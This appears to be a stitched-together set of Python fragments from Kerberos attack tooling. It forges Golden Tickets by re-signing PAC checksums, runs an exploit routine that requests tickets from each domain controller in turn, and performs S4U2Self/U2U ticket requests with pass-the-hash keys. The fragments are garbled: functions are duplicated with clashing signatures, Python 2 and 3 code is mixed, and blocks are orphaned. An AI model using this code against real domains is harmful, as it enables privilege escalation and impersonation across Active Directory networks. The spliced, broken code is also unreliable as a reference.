pacInfos[PAC_CLIENT_INFO_TYPE] + pacClientInfoAlignment
buffersTail = serverChecksumBlob + serverChecksumAlignment + privSvrChecksum.getData(
) + privSvrChecksumAlignment
pacType = PACTYPE()
pacType['cBuffers'] = 4
pacType['Version'] = 0
pacType['Buffers'] = buffers + buffersTail
blobToChecksum = pacType.getData()
checkSumFunctionServer = _checksum_table[
serverChecksum['SignatureType']]
if serverChecksum[
'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
keyServer = Key(Enctype.AES256, unhexlify(self.__options.aesKey))
elif serverChecksum[
'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
keyServer = Key(Enctype.AES128, unhexlify(self.__options.aesKey))
elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value:
keyServer = Key(Enctype.RC4, unhexlify(self.__options.nthash))
else:
raise Exception('Invalid Server checksum type 0x%x' %
serverChecksum['SignatureType'])
checkSumFunctionPriv = _checksum_table[
privSvrChecksum['SignatureType']]
if privSvrChecksum[
'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
keyPriv = Key(Enctype.AES256, unhexlify(self.__options.aesKey))
elif privSvrChecksum[
'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
keyPriv = Key(Enctype.AES128, unhexlify(self.__options.aesKey))
elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value:
keyPriv = Key(Enctype.RC4, unhexlify(self.__options.nthash))
else:
raise Exception('Invalid Priv checksum type 0x%x' %
serverChecksum['SignatureType'])
serverChecksum['Signature'] = checkSumFunctionServer.checksum(
keyServer, KERB_NON_KERB_CKSUM_SALT, blobToChecksum)
logging.info('\tPAC_SERVER_CHECKSUM')
privSvrChecksum['Signature'] = checkSumFunctionPriv.checksum(
keyPriv, KERB_NON_KERB_CKSUM_SALT, serverChecksum['Signature'])
logging.info('\tPAC_PRIVSVR_CHECKSUM')
buffersTail = serverChecksum.getData(
) + serverChecksumAlignment + privSvrChecksum.getData(
) + privSvrChecksumAlignment
pacType['Buffers'] = buffers + buffersTail
authorizationData = AuthorizationData()
authorizationData[0] = noValue
authorizationData[0][
'ad-type'] = AuthorizationDataType.AD_WIN2K_PAC.value
authorizationData[0]['ad-data'] = pacType.getData()
authorizationData = encoder.encode(authorizationData)
encTicketPart['authorization-data'][0]['ad-data'] = authorizationData
if logging.getLogger().level == logging.DEBUG:
logging.debug('Customized EncTicketPart')
print(encTicketPart.prettyPrint())
print('\n')
encodedEncTicketPart = encoder.encode(encTicketPart)
cipher = _enctype_table[kdcRep['ticket']['enc-part']['etype']]
if cipher.enctype == EncryptionTypes.aes256_cts_hmac_sha1_96.value:
key = Key(cipher.enctype, unhexlify(self.__options.aesKey))
elif cipher.enctype == EncryptionTypes.aes128_cts_hmac_sha1_96.value:
key = Key(cipher.enctype, unhexlify(self.__options.aesKey))
elif cipher.enctype == EncryptionTypes.rc4_hmac.value:
key = Key(cipher.enctype, unhexlify(self.__options.nthash))
else:
raise Exception('Unsupported enctype 0x%x' % cipher.enctype)
# Key Usage 2
# AS-REP Ticket and TGS-REP Ticket (includes TGS session
# key or application session key), encrypted with the
# service key (Section 5.3)
logging.info('\tEncTicketPart')
cipherText = cipher.encrypt(key, 2, encodedEncTicketPart, None)
kdcRep['ticket']['enc-part']['cipher'] = cipherText
kdcRep['ticket']['enc-part']['kvno'] = 2
# Lastly.. we have to encrypt the kdcRep['enc-part'] part
# with a key we chose. It actually doesn't really matter since nobody uses it (could it be trash?)
encodedEncASRepPart = encoder.encode(encASorTGSRepPart)
if self.__domain == self.__server:
# Key Usage 3
# AS-REP encrypted part (includes TGS session key or
# application session key), encrypted with the client key
# (Section 5.4.2)
sessionKey = Key(cipher.enctype,
encASorTGSRepPart['key']['keyvalue'].asOctets())
logging.info('\tEncASRepPart')
cipherText = cipher.encrypt(sessionKey, 3, encodedEncASRepPart,
None)
else:
# Key Usage 8
# TGS-REP encrypted part (includes application session
# key), encrypted with the TGS session key
# (Section 5.4.2)
sessionKey = Key(cipher.enctype,
encASorTGSRepPart['key']['keyvalue'].asOctets())
logging.info('\tEncTGSRepPart')
cipherText = cipher.encrypt(sessionKey, 8, encodedEncASRepPart,
None)
kdcRep['enc-part']['cipher'] = cipherText
kdcRep['enc-part']['etype'] = cipher.enctype
kdcRep['enc-part']['kvno'] = 1
if logging.getLogger().level == logging.DEBUG:
logging.debug('Final Golden Ticket')
print(kdcRep.prettyPrint())
print('\n')
return encoder.encode(kdcRep), cipher, sessionKey
def getKerberosTGS(cipher, sessionKey, tgtResponse, gssAPIChecksumBuffer):
apReqNegoEx = SPNEGO_PKINIT()
apReqNegoEx['kerberos-v5'] = '1.3.6.1.5.2.7'
apReqNegoEx['null'] = univ.Boolean(True)
# Extract the ticket from the TGT
ticket = Ticket() # should be -128 name-type
ticket.from_asn1(tgtResponse['ticket'])
apReqNegoEx['Kerberos']['ApReq']['pvno'] = 5
apReqNegoEx['Kerberos']['ApReq']['msg-type'] = int(
constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
opts.append(constants.KDCOptions.forwarded.value)
apReqNegoEx['Kerberos']['ApReq']['ap-options'] = constants.encodeFlags(
opts)
seq_set(apReqNegoEx['Kerberos']['ApReq'], 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = tgtResponse['crealm'].asOctets()
clientName = PrincipalModified()
clientName.from_asn1(tgtResponse, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = 2 #now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
authenticator['cksum']['cksumtype'] = 0x8003
chkField = CheckSumField()
chkField['Lgth'] = 16
# GSS_C_MUTUAL_FLAG | GSS_C_INTEG_FLAG | GSS_C_EXTENDED_ERROR_FLAG
chkField['Flags'] = 16418
subKey = 'FB3F5B9CB2E387A5815D57E672978A118C22404938B279BBD4E29E1505CAC2C3'.decode(
'hex')
checksumtype = _checksum_table[ChecksumTypes.hmac_sha1_96_aes256.value]
keyServer = Key(Enctype.AES256, subKey)
kerbFinished = KRB_FINISHED()
kerbFinished['gss-mic']['cksumtype'] = 16
kerbFinished['gss-mic']['checksum'] = checksumtype.checksum(
keyServer, 41, gssAPIChecksumBuffer.decode('hex'))
authenticator['cksum']['checksum'] = chkField.getData() + (
GenerateExtensions(
encoder.encode(kerbFinished).encode('hex'))).decode('hex')
authenticator['subkey']['keytype'] = 18
authenticator['subkey']['keyvalue'] = subKey
authenticator['seq-number'] = 682437742
tokenIntegrity = LSAP_TOKEN_INFO_INTEGRITY()
tokenIntegrity.Flags = 1
tokenIntegrity.MachineID = '7e303fffe6bff25146addca4fbddf1b94f1634178eb4528fb2731c669ca23cde'.decode(
'hex')
tokenIntegrity.TokenIL = int('2000', 16)
RESTRICTION_ENTRY = KERB_AD_RESTRICTION_ENTRYS()
RESTRICTION_ENTRY[0]['restriction-type'] = 0 # const
RESTRICTION_ENTRY[0]['restriction'] = Pack(tokenIntegrity).decode('hex')
KERB_AUTH_DATA_TOKEN_RESTRICTIONS = AuthorizationData()
KERB_AUTH_DATA_TOKEN_RESTRICTIONS[0]['ad-type'] = 141
KERB_AUTH_DATA_TOKEN_RESTRICTIONS[0]['ad-data'] = encoder.encode(
RESTRICTION_ENTRY)
# AD_IF_RELEVANT
authenticator['authorization-data'][0]['ad-type'] = 1
authenticator['authorization-data'][0]['ad-data'] = encoder.encode(
KERB_AUTH_DATA_TOKEN_RESTRICTIONS)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
## should be key usage 11
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11,
encodedAuthenticator, None)
apReqNegoEx['Kerberos']['ApReq']['authenticator']['etype'] = cipher.enctype
apReqNegoEx['Kerberos']['ApReq']['authenticator'][
'cipher'] = encryptedEncodedAuthenticator
data = encoder.encode(apReqNegoEx).encode('hex')
data = data[:4] + "{0:0{1}x}".format(int(data[4:8], 16) - 1,
4) + data[8:26] + '00' + data[30:]
return data
def exploit(self):
self.__domainSid, self.__rid = self.getUserSID()
userName = Principal(
self.__username,
type=constants.PrincipalNameType.NT_PRINCIPAL.value)
while True:
try:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
userName,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
None,
self.__kdcHost,
requestPAC=False)
except KerberosError, e:
if e.getErrorCode(
) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES (most probably
# Windows XP). So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if self.__lmhash is '' and self.__nthash is '':
from impacket.ntlm import compute_lmhash, compute_nthash
self.__lmhash = compute_lmhash(self.__password)
self.__nthash = compute_nthash(self.__password)
continue
else:
raise
else:
raise
# So, we have the TGT, now extract the new session key and finish
asRep = decoder.decode(tgt, asn1Spec=AS_REP())[0]
# If the cypher in use != RC4 there's gotta be a salt for us to use
salt = ''
if asRep['padata']:
for pa in asRep['padata']:
if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value:
etype2 = decoder.decode(
str(pa['padata-value'])[2:],
asn1Spec=ETYPE_INFO2_ENTRY())[0]
enctype = etype2['etype']
salt = str(etype2['salt'])
cipherText = asRep['enc-part']['cipher']
# Key Usage 3
# AS-REP encrypted part (includes TGS session key or
# application session key), encrypted with the client key
# (Section 5.4.2)
if self.__nthash != '':
key = Key(cipher.enctype, self.__nthash)
else:
key = cipher.string_to_key(self.__password, salt, None)
plainText = cipher.decrypt(key, 3, str(cipherText))
encASRepPart = decoder.decode(plainText,
asn1Spec=EncASRepPart())[0]
authTime = encASRepPart['authtime']
serverName = Principal(
'krbtgt/%s' % self.__domain.upper(),
type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS(
serverName, domain, self.__kdcHost, tgt, cipher, sessionKey,
authTime)
# We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs
serverName = Principal(
'cifs/%s' % self.__target,
type=constants.PrincipalNameType.NT_SRV_INST.value)
try:
tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(
serverName, domain, self.__kdcHost, tgs, cipher,
sessionKey)
except KerberosError, e:
if e.getErrorCode(
) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES (most probably
# Windows XP). So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if self.__lmhash is '' and self.__nthash is '':
from impacket.ntlm import compute_lmhash, compute_nthash
self.__lmhash = compute_lmhash(self.__password)
self.__nthash = compute_nthash(self.__password)
else:
raise
else:
raise
def run(self):
# Do we have a TGT cached?
tgt = None
try:
ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME'))
if options.target_domain:
if options.via_domain:
principal = 'krbtgt/%s@%s' % (options.target_domain.upper(), options.via_domain.upper())
else:
principal = 'krbtgt/%s@%s' % (options.target_domain.upper(), self.__domain.upper())
else:
principal = 'krbtgt/%s@%s' % (self.__domain.upper(), self.__domain.upper())
# For just decoding a TGS, override principal
# principal = 'cifs/[email protected]'
creds = ccache.getCredential(principal, False)
creds.dump()
if creds is not None:
# For just decoding a TGS, use toTGS()
TGT = creds.toTGT()
tgt, cipher, sessionKey = TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']
oldSessionKey = sessionKey
logging.info('Using TGT from cache')
else:
logging.error("No valid credentials found in cache. ")
return
except:
# No cache present
logging.error("Cache file not valid or not found")
raise
print()
# Print TGT
# For just decoding a TGS, use TGS_REP()
decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT['ticket'])
cipherText = decodedTGT['ticket']['enc-part']['cipher']
newCipher = _enctype_table[int(decodedTGT['ticket']['enc-part']['etype'])]
# hash / AES key for the TGT / TGS goes here
self.__nthash = 'yourkeyhere'
if self.__nthash != '':
key = Key(newCipher.enctype, binascii.unhexlify(self.__nthash))
try:
# If is was plain U2U, this is the key
plainText = newCipher.decrypt(key, 2, cipherText)
except:
# S4USelf + U2U uses this other key
plainText = cipher.decrypt(sessionKey, 2, cipherText)
# Print PAC in human friendly form
self.printPac(plainText, True)
# Get TGS and print it
logging.info('Getting ST for user')
serverName = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
if options.target_domain:
domain = options.target_domain
else:
domain = self.__domain
print(domain)
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, self.__kdcHost, tgt, cipher, sessionKey, clientrealm=self.__domain)
self.__saveFileName = self.__user
decodedTGS = decoder.decode(tgs, asn1Spec = TGS_REP())[0]
if logging.getLogger().level == logging.DEBUG:
logging.debug('TGS_REP')
print(decodedTGS.prettyPrint())
# Get PAC
cipherText = decodedTGS['ticket']['enc-part']['cipher']
# Key Usage 2
# AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
# application session key), encrypted with the service key
# (section 5.4.2)
newCipher = _enctype_table[int(decodedTGS['ticket']['enc-part']['etype'])]
# hash / AES key for the TGT / TGS goes here
self.__nthash = 'yourkeyhere'
if self.__nthash != '':
key = Key(newCipher.enctype, binascii.unhexlify(self.__nthash))
try:
# If is was plain U2U, this is the key
plainText = newCipher.decrypt(key, 2, cipherText)
except:
# S4USelf + U2U uses this other key
plainText = cipher.decrypt(sessionKey, 2, cipherText)
# Print PAC in human friendly form
self.printPac(plainText)
# Save the ticket in case we want to use it later
self.saveTicket(tgs,oldSessionKey)
if encryptionTypesData.has_key(enctype) is False:
raise Exception('No Encryption Data Available!')
# Let's build the timestamp
timeStamp = PA_ENC_TS_ENC()
now = datetime.datetime.utcnow()
timeStamp['patimestamp'] = KerberosTime.to_asn1(now)
timeStamp['pausec'] = now.microsecond
# Encrypt the shyte
cipher = _enctype_table[enctype]
# Pass the hash/aes key :P
if nthash != '':
key = Key(cipher.enctype, nthash)
elif aesKey != '':
key = Key(cipher.enctype, aesKey.decode('hex'))
else:
key = cipher.string_to_key(password, encryptionTypesData[enctype],
None)
encodedTimeStamp = encoder.encode(timeStamp)
# Key Usage 1
# AS-REQ PA-ENC-TIMESTAMP padata timestamp, encrypted with the
# client key (Section 5.2.7.2)
encriptedTimeStamp = cipher.encrypt(key, 1, encodedTimeStamp, None)
encryptedData = EncryptedData()
encryptedData['etype'] = cipher.enctype
encryptedData['cipher'] = encriptedTimeStamp
def getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey):
# Decode the TGT
try:
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
except:
decodedTGT = decoder.decode(tgt, asn1Spec=TGS_REP())[0]
domain = domain.upper()
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT['ticket'])
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1(decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7,
encodedAuthenticator, None)
apReq['authenticator'] = None
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = None
tgsReq['padata'][0] = None
tgsReq['padata'][0]['padata-type'] = int(
constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.renewable_ok.value)
opts.append(constants.KDCOptions.canonicalize.value)
reqBody['kdc-options'] = constants.encodeFlags(opts)
seq_set(reqBody, 'sname', serverName.components_to_asn1)
reqBody['realm'] = str(decodedTGT['crealm'])
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
seq_set_iter(reqBody, 'etype',
(int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),
int(cipher.enctype)))
message = encoder.encode(tgsReq)
r = sendReceive(message, domain, kdcHost)
# Get the session key
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
cipherText = tgs['enc-part']['cipher']
# Key Usage 8
# TGS-REP encrypted part (includes application session
# key), encrypted with the TGS session key (Section 5.4.2)
plainText = cipher.decrypt(sessionKey, 8, str(cipherText))
encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0]
newSessionKey = Key(cipher.enctype, str(encTGSRepPart['key']['keyvalue']))
return r, cipher, sessionKey, newSessionKey
def getKerberosTGS(cipher, sessionKey, tgtResponse, gssAPIChecksumBuffer):
a = (minikerberos.protocol.asn1_structs.AS_REP(tgtResponse['Kerberos']))
decodedTGT = decoder.decode(a.dump(), asn1Spec=AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket() # should be -128 name-type
ticket.from_asn1(decodedTGT['ticket'])
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
opts.append(constants.KDCOptions.forwarded.value)
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = decodedTGT['crealm'].asOctets()
clientName = Principal()
clientName.from_asn1(decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = 2 #now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
authenticator['cksum']['cksumtype'] = 0x8003
chkField = CheckSumField()
chkField['Lgth'] = 16
# GSS_C_MUTUAL_FLAG | GSS_C_INTEG_FLAG | GSS_C_EXTENDED_ERROR_FLAG
chkField['Flags'] = 16418
subKey = bytes.fromhex(
'FB3F5B9CB2E387A5815D57E672978A118C22404938B279BBD4E29E1505CAC2C3')
checksumtype = _checksum_table[ChecksumTypes.hmac_sha1_96_aes256.value]
keyServer = Key(Enctype.AES256, subKey)
kerbFinished = {}
kerbFinished['gss-mic'] = {
'cksumtype':
16,
'checksum':
checksumtype.checksum(keyServer, 41,
bytes.fromhex(gssAPIChecksumBuffer))
}
kerbFinished = KRB_FINISHED(kerbFinished)
authenticator['cksum']['checksum'] = chkField.getData() + bytes.fromhex(
GenerateExtensions(kerbFinished.dump()))
authenticator['subkey']['keytype'] = 18
authenticator['subkey']['keyvalue'] = subKey
authenticator['seq-number'] = 682437742
tokenIntegrity = LSAP_TOKEN_INFO_INTEGRITY()
tokenIntegrity.Flags = 1
tokenIntegrity.MachineID = bytes.fromhex(
'7e303fffe6bff25146addca4fbddf1b94f1634178eb4528fb2731c669ca23cde')
tokenIntegrity.TokenIL = int('2000', 16)
RESTRICTION_ENTRY = [{
'restriction-type': 0,
'restriction': bytes.fromhex(Pack(tokenIntegrity))
}]
KERB_AUTH_DATA_TOKEN_RESTRICTIONS = AuthorizationData()
KERB_AUTH_DATA_TOKEN_RESTRICTIONS[0]['ad-type'] = 141
KERB_AUTH_DATA_TOKEN_RESTRICTIONS[0][
'ad-data'] = KERB_AD_RESTRICTION_ENTRYS(RESTRICTION_ENTRY).dump()
# AD_IF_RELEVANT
authenticator['authorization-data'][0]['ad-type'] = 1
authenticator['authorization-data'][0]['ad-data'] = encoder.encode(
KERB_AUTH_DATA_TOKEN_RESTRICTIONS)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
## should be key usage 11
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11,
encodedAuthenticator, None)
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
apReqNegoEx = {}
apReqNegoEx['kerberos-v5'] = '1.3.6.1.5.2.7'
apReqNegoEx['null'] = core.Boolean(True, contents=b'')
apReqNegoEx['Kerberos'] = minikerberos.protocol.asn1_structs.AP_REQ.load(
encoder.encode(apReq))
apReqNegoEx = SPNEGO_PKINIT_AP_REQ(apReqNegoEx)
data = (apReqNegoEx.dump().hex())
return data
def dump(self, addr):
# Try all requested protocols until one works.
userName = Principal(
self.__username,
type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
userName, self.__password, self.__domain, unhexlify(self.__lmhash),
unhexlify(self.__nthash))
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT['ticket'])
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1(decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
if logging.getLogger().level == logging.DEBUG:
logging.debug('AUTHENTICATOR')
print(authenticator.prettyPrint())
print('\n')
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7,
encodedAuthenticator,
None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = noValue
tgsReq['padata'][0] = noValue
tgsReq['padata'][0]['padata-type'] = int(
constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
# In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service
# requests a service ticket to itself on behalf of a user. The user is
# identified to the KDC by the user's name and realm.
clientName = Principal(
self.__behalfUser,
type=constants.PrincipalNameType.NT_PRINCIPAL.value)
S4UByteArray = struct.pack(
'<I', constants.PrincipalNameType.NT_PRINCIPAL.value)
S4UByteArray += b(self.__behalfUser) + b(self.__domain) + b'Kerberos'
if logging.getLogger().level == logging.DEBUG:
logging.debug('S4UByteArray')
hexdump(S4UByteArray)
# Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash
# with the following three parameters: the session key of the TGT of
# the service performing the S4U2Self request, the message type value
# of 17, and the byte array S4UByteArray.
checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray)
if logging.getLogger().level == logging.DEBUG:
logging.debug('CheckSum')
hexdump(checkSum)
paForUserEnc = PA_FOR_USER_ENC()
seq_set(paForUserEnc, 'userName', clientName.components_to_asn1)
paForUserEnc['userRealm'] = self.__domain
paForUserEnc['cksum'] = noValue
paForUserEnc['cksum']['cksumtype'] = int(
constants.ChecksumTypes.hmac_md5.value)
paForUserEnc['cksum']['checksum'] = checkSum
paForUserEnc['auth-package'] = 'Kerberos'
if logging.getLogger().level == logging.DEBUG:
logging.debug('PA_FOR_USER_ENC')
print(paForUserEnc.prettyPrint())
encodedPaForUserEnc = encoder.encode(paForUserEnc)
tgsReq['padata'][1] = noValue
tgsReq['padata'][1]['padata-type'] = int(
constants.PreAuthenticationDataTypes.PA_FOR_USER.value)
tgsReq['padata'][1]['padata-value'] = encodedPaForUserEnc
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.renewable_ok.value)
opts.append(constants.KDCOptions.canonicalize.value)
opts.append(constants.KDCOptions.enc_tkt_in_skey.value)
reqBody['kdc-options'] = constants.encodeFlags(opts)
serverName = Principal(
self.__username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
#serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
seq_set(reqBody, 'sname', serverName.components_to_asn1)
reqBody['realm'] = str(decodedTGT['crealm'])
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
seq_set_iter(reqBody, 'etype', (int(
cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
# If you comment these two lines plus enc_tkt_in_skey as option, it is bassically a S4USelf
myTicket = ticket.to_asn1(TicketAsn1())
seq_set_iter(reqBody, 'additional-tickets', (myTicket, ))
if logging.getLogger().level == logging.DEBUG:
logging.debug('Final TGS')
print(tgsReq.prettyPrint())
message = encoder.encode(tgsReq)
r = sendReceive(message, self.__domain, None)
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
if logging.getLogger().level == logging.DEBUG:
logging.debug('TGS_REP')
print(tgs.prettyPrint())
cipherText = tgs['ticket']['enc-part']['cipher']
# Key Usage 2
# AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
# application session key), encrypted with the service key
# (section 5.4.2)
newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])]
# Pass the hash/aes key :P
if self.__nthash != '' and (isinstance(self.__nthash, bytes)
and self.__nthash != b''):
key = Key(newCipher.enctype, unhexlify(self.__nthash))
else:
if newCipher.enctype == Enctype.RC4:
key = newCipher.string_to_key(password, '', None)
else:
key = newCipher.string_to_key(
password,
self.__domain.upper() + self.__username, None)
try:
# If is was plain U2U, this is the key
plainText = newCipher.decrypt(key, 2, str(cipherText))
except:
# S4USelf + U2U uses this other key
plainText = cipher.decrypt(sessionKey, 2, cipherText)
self.printPac(plainText)
def exploit(self):
if self.__kdcHost is None:
getDCs = True
self.__kdcHost = self.__domain
else:
getDCs = False
self.__domainSid, self.__rid = self.getUserSID()
try:
self.__forestSid = self.getForestSid()
except Exception as e:
# For some reason we couldn't get the forest data. No problem, we can still continue
# Only drawback is we won't get forest admin if successful
logging.error('Couldn\'t get forest info (%s), continuing' % str(e))
self.__forestSid = None
if getDCs is False:
# User specified a DC already, no need to get the list
self.__domainControllers.append(self.__kdcHost)
else:
self.__domainControllers = self.getDomainControllers()
userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
for dc in self.__domainControllers:
logging.info('Attacking domain controller %s' % dc)
self.__kdcHost = dc
exception = None
while True:
try:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
self.__lmhash, self.__nthash, None,
self.__kdcHost, requestPAC=False)
except KerberosError as e:
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES (most probably
# Windows XP). So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if self.__lmhash == '' and self.__nthash == '':
from impacket.ntlm import compute_lmhash, compute_nthash
self.__lmhash = compute_lmhash(self.__password)
self.__nthash = compute_nthash(self.__password)
continue
else:
exception = str(e)
break
else:
exception = str(e)
break
# So, we have the TGT, now extract the new session key and finish
asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0]
# If the cypher in use != RC4 there's gotta be a salt for us to use
salt = ''
if asRep['padata']:
for pa in asRep['padata']:
if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value:
etype2 = decoder.decode(pa['padata-value'][2:], asn1Spec = ETYPE_INFO2_ENTRY())[0]
salt = etype2['salt'].prettyPrint()
cipherText = asRep['enc-part']['cipher']
# Key Usage 3
# AS-REP encrypted part (includes TGS session key or
# application session key), encrypted with the client key
# (Section 5.4.2)
if self.__nthash != '':
key = Key(cipher.enctype,self.__nthash)
else:
key = cipher.string_to_key(self.__password, salt, None)
plainText = cipher.decrypt(key, 3, cipherText)
encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0]
authTime = encASRepPart['authtime']
serverName = Principal('krbtgt/%s' % self.__domain.upper(),
type=constants.PrincipalNameType.NT_PRINCIPAL.value)
